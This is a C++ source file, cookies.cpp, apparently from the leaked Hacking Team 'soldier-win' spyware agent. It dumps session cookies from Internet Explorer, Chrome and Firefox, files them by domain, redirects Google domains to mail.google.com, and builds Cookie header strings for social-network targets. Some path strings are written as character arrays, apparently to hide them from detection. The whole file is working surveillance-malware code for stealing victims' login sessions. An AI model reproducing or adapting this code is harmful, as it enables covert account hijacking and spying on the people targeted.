hackedteam/soldier-win

View on GitHub
Soldier/cookies.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <stdio.h>

#include "debug.h"
#include "zmem.h"
#include "social.h"
#include "cookies.h"
#include "ie_cookies.h"
#include "firefox_cookies.h"
#include "chrome_cookies.h"

DWORD dwCookieCount;
LPCOOKIE_LIST lpCookieList = NULL;

#define COOKIE_MIN_LEN 32
LPSTR GetCookieString(__in LPWSTR strDomain)
{
    LPSTR strCookieString = NULL;
    DWORD dwLength = COOKIE_MIN_LEN;
    
    LPSTR strDomainA = (LPSTR) zalloc((wcslen(strDomain)+1) * sizeof(WCHAR));
    _snprintf_s(strDomainA, (wcslen(strDomain)+1)*sizeof(WCHAR), _TRUNCATE, "%S", strDomain);

    for (DWORD i=0; i<dwCookieCount; i++)
    {
        if (lpCookieList[i].strDomain && !strcmp(lpCookieList[i].strDomain, strDomainA) && lpCookieList[i].strValue && lpCookieList[i].strName)
        {
            dwLength += strlen(lpCookieList[i].strName);
            dwLength += strlen(lpCookieList[i].strValue);
            dwLength += 3;
        }
    }

    if (dwLength != COOKIE_MIN_LEN)
    {
        strCookieString = (LPSTR) zalloc(dwLength);
        sprintf_s(strCookieString, dwLength, "Cookie:");  //FIXME: array

        for (DWORD i=0; i<dwCookieCount; i++)
        {
            if (lpCookieList[i].strDomain && !strcmp(lpCookieList[i].strDomain, strDomainA) && lpCookieList[i].strValue && lpCookieList[i].strName)
            {
                strcat_s(strCookieString, dwLength, " ");
                strcat_s(strCookieString, dwLength, lpCookieList[i].strName);
                strcat_s(strCookieString, dwLength, "=");
                strcat_s(strCookieString, dwLength, lpCookieList[i].strValue);
                strcat_s(strCookieString, dwLength, ";");
            }
        }
    }

    zfree(strDomainA);
    return strCookieString;
}

VOID NotifyNewCookie(LPSTR strDomain)
{
    WCHAR strDomainW[1024];
    _snwprintf_s(strDomainW, 1024, _TRUNCATE, L"%S", strDomain);

    for (DWORD i=0; i<SOCIAL_ENTRY_COUNT; i++)
        if (!wcscmp(strDomainW, pSocialEntry[i].strDomain))
            pSocialEntry[i].bNewCookie = TRUE;
}

BOOL AddCookieW(__in LPWSTR strDomainW, __in LPWSTR strNameW, __in LPWSTR strValueW)
{
    LPSTR strDomainA, strNameA, strValueA;

    DWORD dwSize = (wcslen(strDomainW)+1)*sizeof(WCHAR);
    strDomainA = (LPSTR) zalloc(dwSize);
    _snprintf_s(strDomainA, dwSize, _TRUNCATE, "%S", strDomainW);

    dwSize = (wcslen(strNameW)+1)*sizeof(WCHAR);
    strNameA = (LPSTR) zalloc(dwSize);
    _snprintf_s(strNameA, dwSize, _TRUNCATE, "%S", strNameW);

    dwSize = (wcslen(strValueW)+1)*sizeof(WCHAR);
    strValueA = (LPSTR) zalloc(dwSize);
    _snprintf_s(strValueA, dwSize, _TRUNCATE, "%S", strValueW);

    BOOL bRet = AddCookieA(strDomainA, strNameA, strValueA);

    zfree(strDomainA);
    zfree(strNameA);
    zfree(strValueA);
    return bRet;
}

BOOL AddCookieA(__in LPSTR strDomainTmp, __in LPSTR strName, __in LPSTR strValue)
{
    if (strName[0] == '_')
        return FALSE;

    CHAR strDomain[2048];
    if ((!_stricmp("google.com", strDomainTmp)) || (!_stricmp("drive.google.com", strDomainTmp)) || (!_stricmp("docs.google.com", strDomainTmp)))
        _snprintf_s(strDomain, 2047, _TRUNCATE, "mail.google.com");
    else
        _snprintf_s(strDomain, 2047, _TRUNCATE, strDomainTmp);

#ifdef _DEBUG
    OutputDebug(L"[*] Adding cookie for host:%S  %S=%S\n", strDomain, strName, strValue);
#endif

    for (DWORD i=0; i<dwCookieCount; i++)
    {
        if (lpCookieList[i].strDomain && lpCookieList[i].strName && !_stricmp(lpCookieList[i].strDomain, strDomain) && !_stricmp(lpCookieList[i].strName, strName))
        {
            if (lpCookieList[i].strValue && !_stricmp(lpCookieList[i].strValue, strValue))
            {
#ifdef _DEBUG
                //OutputDebug(L"[*] Skipping known cookie for %S => %S=%S\n", strDomain, strName, strValue);
#endif
                return FALSE; // already have it
            }

            zfree(lpCookieList[i].strValue);
            lpCookieList[i].strValue = _strdup(strValue);
//#ifdef _DEBUG
//            OutputDebug(L"[*] Updating cookie for %S => %S=%S, cookies: %d\n", strDomain, strName, strValue, dwCookieCount);
//#endif
            NotifyNewCookie(strDomain);
            return TRUE;
        }
    }

    LPCOOKIE_LIST lpTemp = (LPCOOKIE_LIST) realloc(lpCookieList, (dwCookieCount + 1) * sizeof(COOKIE_LIST));
    if (lpTemp == NULL)
        return FALSE;

    lpCookieList = lpTemp;
    lpCookieList[dwCookieCount].strDomain = _strdup(strDomain);
    lpCookieList[dwCookieCount].strName = _strdup(strName);
    lpCookieList[dwCookieCount].strValue = _strdup(strValue);
    dwCookieCount++;

//#ifdef _DEBUG
//    OutputDebug(L"[*] Adding cookie for %S => %S=%S, cookies: %d\n", strDomain, strName, strValue, dwCookieCount);
//#endif
    NotifyNewCookie(strDomain);

    return TRUE;
}

VOID DumpCookies()
{
    // reset cookies
    WCHAR strCookie[] = { L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'C', L'o', L'o', L'k', L'i', L'e', L's', L'\0' };
    WCHAR strCookieLow[] = { L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'C', L'o', L'o', L'k', L'i', L'e', L's', L'\\', L'L', L'o', L'w', L'\0'  };
    WCHAR strICookie[] = { L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'I', L'n', L'e', L't', L'C', L'o', L'o', L'k', L'i', L'e', L's', L'\0'  };
    WCHAR strICookieLow[] = { L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'I', L'n', L'e', L't', L'C', L'o', L'o', L'k', L'i', L'e', L's', L'\\', L'L', L'o', L'w', L'\0' };

    DumpIECookies(strCookie, FALSE);  //FIXME: array
    DumpIECookies(strCookieLow, FALSE);  //FIXME: array
    
    DumpIECookies(strICookie, TRUE);  //FIXME: array
    DumpIECookies(strICookieLow, TRUE);  //FIXME: array


    DumpChromeCookies();
    DumpFirefoxCookies();
}

VOID NormalizeDomainW(__in LPWSTR strDomain)
{
    LPWSTR strSrc, strDst;

    if (!strDomain)
        return;

    strSrc = strDst = strDomain;
    for(; *strSrc=='.'; strSrc++);

    for (;;) {
        if (*strSrc == '/' || *strSrc==NULL)
            break;

        *strDst = *strSrc;
        strDst++;
        strSrc++;
    }

    *strDst = NULL;
}

VOID NormalizeDomainA(__in LPSTR strDomain)
{
    LPSTR strSrc, strDst;

    if (!strDomain)
        return;

    strSrc = strDst = strDomain;
    for(; *strSrc=='.'; strSrc++);

    for (;;) {
        if (*strSrc == '/' || *strSrc==NULL)
            break;

        *strDst = *strSrc;
        strDst++;
        strSrc++;
    }

    *strDst = NULL;
}